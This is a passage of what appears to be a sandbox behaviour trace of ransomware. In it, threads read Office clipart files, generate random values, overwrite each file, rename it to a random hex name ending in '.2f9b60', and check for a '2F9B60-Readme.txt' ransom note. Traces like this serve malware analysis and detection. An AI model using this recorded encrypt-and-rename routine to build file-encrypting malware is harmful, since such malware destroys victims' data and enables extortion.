lpNewFilePointer=0x0) returned 1 [0107.942] WriteFile (in: hFile=0xa80, lpBuffer=0x41e66910*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2c37f994, lpOverlapped=0x0 | out: lpBuffer=0x41e66910*, lpNumberOfBytesWritten=0x2c37f994*=0x7e0, lpOverlapped=0x0) returned 1 [0107.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0107.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0107.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fee0) returned 1 [0107.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e66910) returned 1 [0107.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e62d00) returned 1 [0107.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fee0 [0107.952] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.953] WriteFile (in: hFile=0xa80, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c37fab0, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2c37fab0*=0x10a, lpOverlapped=0x0) returned 1 [0107.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0107.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8672c0 [0107.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0107.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860540) returned 1 [0107.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0107.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605d0 [0107.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8605d0) returned 1 [0107.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0107.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.969] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="b2") returned 2 [0107.969] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="58") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="92") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="37") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="1c") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="35") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="54") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="5a") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="d5") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="de") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="d8") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="3e") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="89") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="85") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="c7") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="6c") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="5d") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="bf") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="fe") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="59") returned 2 [0107.970] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="bd") returned 2 [0107.971] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="48") returned 2 [0107.971] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="15") returned 2 [0107.971] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="eb") returned 2 [0107.971] RtlInitAnsiString (in: DestinationString=0x2c37fb28, SourceString="b25892371c35545ad5ded83e8985c76c5dbffe59bd4815eb" | out: DestinationString="b25892371c35545ad5ded83e8985c76c5dbffe59bd4815eb") [0107.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c37faf8, SourceString="b25892371c35545ad5ded83e8985c76c5dbffe59bd4815eb", AllocateDestinationString=1 | out: DestinationString="b25892371c35545ad5ded83e8985c76c5dbffe59bd4815eb") returned 0x0 [0107.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e800 [0107.971] wcscat (in: _Dest=0x205003b0, _Source="b25892371c35" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b25892371c35") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b25892371c35" [0107.971] wcscat (in: _Dest=0x205003b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b25892371c35.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b25892371c35.2f9b60" [0107.971] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b25892371c35.2f9b60", NtPathName=0x2c37fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b25892371c35.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279c70 [0107.971] NtSetInformationFile (FileHandle=0xa80, IoStatusBlock=0x2c37fb70, FileInformation=0x20279c70, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279c70) returned 1 [0109.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e180) returned 1 [0109.973] NtQueryInformationFile (in: FileHandle=0xa80, IoStatusBlock=0x2c37fb38, FileInformation=0x2c37fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c37fb38, FileInformation=0x2c37fb48) returned 0x0 [0109.973] NtSetInformationFile (FileHandle=0xa80, IoStatusBlock=0x2c37fb38, FileInformation=0x2c37fb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205003b0) returned 1 [0109.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e800) returned 1 [0109.983] FlushFileBuffers (hFile=0xa80) returned 1 [0109.992] CloseHandle (hObject=0xa80) returned 1 [0109.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500770 [0109.993] wcscpy (in: _Dest=0x20500770, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.993] wcscat (in: _Dest=0x20500770, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500770) returned 1 [0109.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bec0) returned 1 Thread: id = 703 os_tid = 0x11e0 [0096.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0107.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF", dwFileAttributes=0x20) returned 1 [0107.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe04 [0107.897] GetFileSizeEx (in: hFile=0xe04, lpFileSize=0x2b0af9c0 | out: lpFileSize=0x2b0af9c0*=2492) returned 1 [0107.897] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x9b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.897] ReadFile (in: hFile=0xe04, lpBuffer=0x2b0af940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b0af988, lpOverlapped=0x0 | out: lpBuffer=0x2b0af940*, lpNumberOfBytesRead=0x2b0af988*=0x4, lpOverlapped=0x0) returned 1 [0107.905] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860270 [0107.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860060 [0107.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860450 [0107.905] NtQuerySystemTime (in: CurrentTime=0x2b0af880 | out: CurrentTime=0x2b0af880*=132462177134038000) returned 0x0 [0107.905] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x6cd6819a [0107.905] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x7d5d4be1 [0107.905] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x28aceff3 [0107.905] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0xfaebcc5 [0107.905] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x2216e1a6 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x2fd95a41 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x28be222b [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x47d4a472 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x603a831d [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x64b70c5a [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x3834be44 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x77934cb3 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x756cd3db [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x2f83a8c1 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x66bb244a [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x2f27b96 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x62cf3cf1 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x4d3aced4 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0xa4834f6 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x1931bd7c [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x3e6dc90f [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x55448f79 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x15ee43cf [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x65b6b9e7 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x46d77281 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x1c47dcad [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x3185d1c1 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x18c84da9 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x16411971 [0107.906] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x213af274 [0107.907] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x112c19be [0107.907] RtlRandomEx (in: Seed=0x2b0af870 | out: Seed=0x2b0af870) returned 0x4debe07 [0107.918] ReadFile (in: hFile=0xe04, lpBuffer=0x41e62d00, nNumberOfBytesToRead=0x9bc, lpNumberOfBytesRead=0x2b0af870, lpOverlapped=0x0 | out: lpBuffer=0x41e62d00*, lpNumberOfBytesRead=0x2b0af870*=0x9bc, lpOverlapped=0x0) returned 1 [0107.919] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.919] WriteFile (in: hFile=0xe04, lpBuffer=0x41e66910*, nNumberOfBytesToWrite=0x9bc, lpNumberOfBytesWritten=0x2b0af874, lpOverlapped=0x0 | out: lpBuffer=0x41e66910*, lpNumberOfBytesWritten=0x2b0af874*=0x9bc, lpOverlapped=0x0) returned 1 [0107.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0107.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0107.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860540) returned 1 [0107.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e66910) returned 1 [0107.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e62d00) returned 1 [0107.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860540 [0107.927] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.927] WriteFile (in: hFile=0xe04, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b0af990, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2b0af990*=0x10a, lpOverlapped=0x0) returned 1 [0107.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0107.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8672c0 [0107.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602a0 [0107.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8602a0) returned 1 [0107.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602a0 [0107.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0107.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8602d0) returned 1 [0107.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0107.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.946] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="c1") returned 2 [0107.946] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="a4") returned 2 [0107.946] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="66") returned 2 [0107.946] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="af") returned 2 [0107.946] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="08") returned 2 [0107.946] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="1e") returned 2 [0107.946] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="45") returned 2 [0107.946] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="23") returned 2 [0107.946] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="b2") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="3c") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="23") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="96") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="4e") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="cb") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="c8") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="15") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="de") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="f1") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="ae") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="ce") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="d4") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="c5") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="e1") returned 2 [0107.947] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ad") returned 2 [0107.947] RtlInitAnsiString (in: DestinationString=0x2b0afa08, SourceString="c1a466af081e4523b23c23964ecbc815def1aeced4c5e1ad" | out: DestinationString="c1a466af081e4523b23c23964ecbc815def1aeced4c5e1ad") [0107.947] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b0af9d8, SourceString="c1a466af081e4523b23c23964ecbc815def1aeced4c5e1ad", AllocateDestinationString=1 | out: DestinationString="c1a466af081e4523b23c23964ecbc815def1aeced4c5e1ad") returned 0x0 [0107.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e640 [0107.948] wcscat (in: _Dest=0x20500310, _Source="c1a466af081e" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e" [0107.948] wcscat (in: _Dest=0x20500310, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e.2f9b60" [0107.948] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e.2f9b60", NtPathName=0x2b0af9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279bb0 [0107.948] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x2b0afa50, FileInformation=0x20279bb0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279bb0) returned 1 [0109.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e3b0) returned 1 [0109.964] NtQueryInformationFile (in: FileHandle=0xe04, IoStatusBlock=0x2b0afa18, FileInformation=0x2b0afa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b0afa18, FileInformation=0x2b0afa28) returned 0x0 [0109.964] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x2b0afa18, FileInformation=0x2b0afa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500310) returned 1 [0109.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e640) returned 1 [0109.976] FlushFileBuffers (hFile=0xe04) returned 1 [0109.998] CloseHandle (hObject=0xe04) returned 1 [0109.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500770 [0109.998] wcscpy (in: _Dest=0x20500770, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.999] wcscat (in: _Dest=0x20500770, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500770) returned 1 [0109.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bf50) returned 1 Thread: id = 704 os_tid = 0x11e4 [0096.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0107.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF", dwFileAttributes=0x20) returned 1 [0107.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1570 [0107.866] GetFileSizeEx (in: hFile=0x1570, lpFileSize=0x2c4ff9a0 | out: lpFileSize=0x2c4ff9a0*=3348) returned 1 [0107.866] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0xd10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.866] ReadFile (in: hFile=0x1570, lpBuffer=0x2c4ff920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c4ff968, lpOverlapped=0x0 | out: lpBuffer=0x2c4ff920*, lpNumberOfBytesRead=0x2c4ff968*=0x4, lpOverlapped=0x0) returned 1 [0107.873] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0107.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605d0 [0107.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0107.874] NtQuerySystemTime (in: CurrentTime=0x2c4ff860 | out: CurrentTime=0x2c4ff860*=132462177133726000) returned 0x0 [0107.874] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x526e5c17 [0107.874] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0xd41fdac [0107.874] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0xaae83bc [0107.874] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x6cbe9c55 [0107.874] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x4ae63065 [0107.874] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x2856a345 [0107.874] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x30af9601 [0107.874] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x706f96bf [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x413ca4f4 [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x4e8667d4 [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x608602dc [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x44b02406 [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x5be4f768 [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x3e591a4d [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x43093207 [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x10c0c971 [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x302f0bc1 [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x7531f0ba [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x71cc2343 [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x1e39ddbb [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x604c4876 [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x41ea89de [0107.875] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x3ae46ddb [0107.876] RtlRandomEx (in: Seed=0x2c4ff850 | out: Seed=0x2c4ff850) returned 0x7783181d [0107.876] RtlRandomEx (in: Seed=0x2c4ff850 | out: 